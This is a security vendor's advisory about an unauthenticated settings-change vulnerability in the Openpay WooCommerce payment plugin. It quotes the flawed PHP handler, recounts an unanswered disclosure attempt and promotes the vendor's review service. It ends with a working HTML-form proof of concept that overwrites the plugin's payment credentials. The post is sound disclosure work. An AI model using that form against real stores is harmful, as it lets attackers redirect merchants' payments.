2 Jun 2022

Hacker Targeted WooCommerce Payment Plugin From Openpay Allows Anyone to Change Payee Setting

On Monday we had what appeared to be a hacker probing for usage of the Openpay Payment Gateway plugin (not to be confused with BBVA’s Openpay plugins) for WooCommerce with the following request:

/wp-content/plugins/opy-paymentplugin-woocommerce/README.md

That plugin isn’t included in the WordPress plugin directory, so we don’t know how widely used it.

After noticing that, we did our standard checks that we do over a WordPress plugin when it looks like it might be targeted by hackers, to see if there is a vulnerability we should warn customers of our service about. What we found is that anyone can change the Openpay account that will receive payments through the plugin. Hackers have long done just that sort of thing, so that could be what hacker is interested in here.

The cause of that is a lack of basic security. The plugin registers the function min_max_price() to be accessible through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in:

36
37
add_action( 'wp_ajax_openpay_minmax', array( $gateway, 'min_max_price' ), 10, 2 );
add_action( 'wp_ajax_nopriv_openpay_minmax', array( $gateway, 'min_max_price' ), 10, 2 );

There isn’t any reason that those not logged in should have access. That is further compounded by a lack of security checks in the function, which is located in the file /class/WC_Gateway_Openpay.php:

365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
public function min_max_price() {
	$backofficeParams = $this->getBackendParams();
	$result = [];
	try {
		if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) {
			$backofficeParams = [
				'auth_user' => $_POST['auth_user'] ? $_POST['auth_user'] : $this->get_option( 'auth_user' ),
				'auth_token' => $_POST['auth_token'] ? $_POST['auth_token'] : $this->get_option( 'auth_token' ),
				'region' => $_POST['region'] ? $_POST['region'] : $this->get_option( 'region' ),
				'payment_mode' => $_POST['payment_mode'] ? $_POST['payment_mode'] :  $this->get_option( 'payment_mode' )
			];
		}
 
 
		// get existing value of min and max from backofficeparams
		$min = $this->get_option( 'minimum' );
		$max = $this->get_option( 'maximum' );
 
		$paymentmanager = new BusinessLayer\Openpay\PaymentManager( $backofficeParams );
		$paymentmanager->setUrlAttributes(array('online'));
		$config = $paymentmanager->getConfiguration();
 
		// get values from openpay pay api
		$minValue = ( (int)$config->minPrice )/100;
		$maxValue = ( (int)$config->maxPrice )/100;
 
		if ( $min == '' || $min != $minValue ) {
			$this->update_option( 'minimum' , $minValue );
		}
 
		if ( $max == '' || $max!= $maxValue ) {
				$this->update_option( 'maximum' , $maxValue );
		}
		if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) {
			$this->update_option( 'auth_user' , $_POST['auth_user'] );
			$this->update_option( 'auth_token' , $_POST['auth_token'] );
			$this->update_option( 'payment_mode' , $_POST['payment_mode'] );
			$this->update_option( 'region' , $_POST['region'] );
			$result = [
				'success' => true,
				'auth_user' => $this->get_option( 'auth_user' ),
				'auth_token' => $this->get_option( 'auth_token' ),
				'payment_mode' => $this->get_option( 'payment_mode' ),
				'region' => $this->get_option( 'region' ),
				'minimum' => $this->get_option('minimum'),
				'maximum' => $this->get_option( 'maximum' )
			];
			wp_send_json($result);
		}
				$this->log->add( 'openpay', 'Updated min/max successfully!!' );		
	} catch ( \Exception $e ) {
		if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) {
			$this->update_option( 'auth_user' , $_POST['auth_user'] );
			$this->update_option( 'auth_token' , $_POST['auth_token'] );
			$this->update_option( 'payment_mode' , $_POST['payment_mode'] );
			$this->update_option( 'region' , $_POST['region'] );
			$result = [
				'success' => false,
				'auth_user' => $this->get_option( 'auth_user' ),
				'auth_token' => $this->get_option( 'auth_token' ),
				'payment_mode' => $this->get_option( 'payment_mode' ),
				'region' => $this->get_option( 'region' ),
			];
			wp_send_json($result);
		}
		$this->log->add( 'openpay', $e->getMessage() );
	}
}

There should be a capabilities check to limit what WordPress users can access to the functionality in the function, as well as a nonce check to prevent cross-site request forgery (CSRF). Through the function, the following settings of the plugin can be changed:

  • Openpay Username
  • Mode
  • Region

Unresponsive Developer

The developer of the plugin, Openpay, is a fintech company that recently reported raising 18.25 million Australian dollars (about 13 million US dollars). Despite those things, we couldn’t find any information on their process for handling the reporting of security issues or even a security contact for them. Their website’s contact form didn’t seem to have a relevant submission category for reporting something like this. The GitHub repository for the plugin doesn’t have a security policy. There is an email listed for the GitHub account and we contacted them through that on Tuesday afternoon.

When we emailed them, we mentioned that we would need to disclose the vulnerability quickly since it looks like it could already being exploited and we need to notify our customers in a timely manner, but that we could hold things back a day, to give them a chance to fix this. We have yet to hear back from them.

Takeaway

This is far from the first time we have seen what looks to be a hacker probing for usage of a plugin that works with WooCommerce, when the plugin at the time contains a vulnerability that a hacker would be interested in exploiting. Clearly then you can’t rely on plugin developers to secure their own plugins. WooCommerce also doesn’t appear to be doing anything to make sure that plugins that work with it are secured. If you can afford it, your best option to get an assessment of if plugins you use or are considering using is to get a security review of the plugin done. We offer to do those and are the only ones that do that we are aware of that have actually released results of reviews, so that others can confirm the quality of the results.

In this situation, the developer could afford to get such a review, as our price for this plugin would be $300.

Proof of Concept

The following proof of concept will change the Openpay Username and Openpay Password to to proof of concept.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="openpay_minmax" />
<input type="hidden" name="auth_user" value="proofofconcept" />
<input type="hidden" name="auth_token" value="proofofconcept" />
<input type="hidden" name="woocommerce_openpay_minimum" value="proofofconcept" />
<input type="hidden" name="woocommerce_openpay_maximum" value="proofofconcept" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.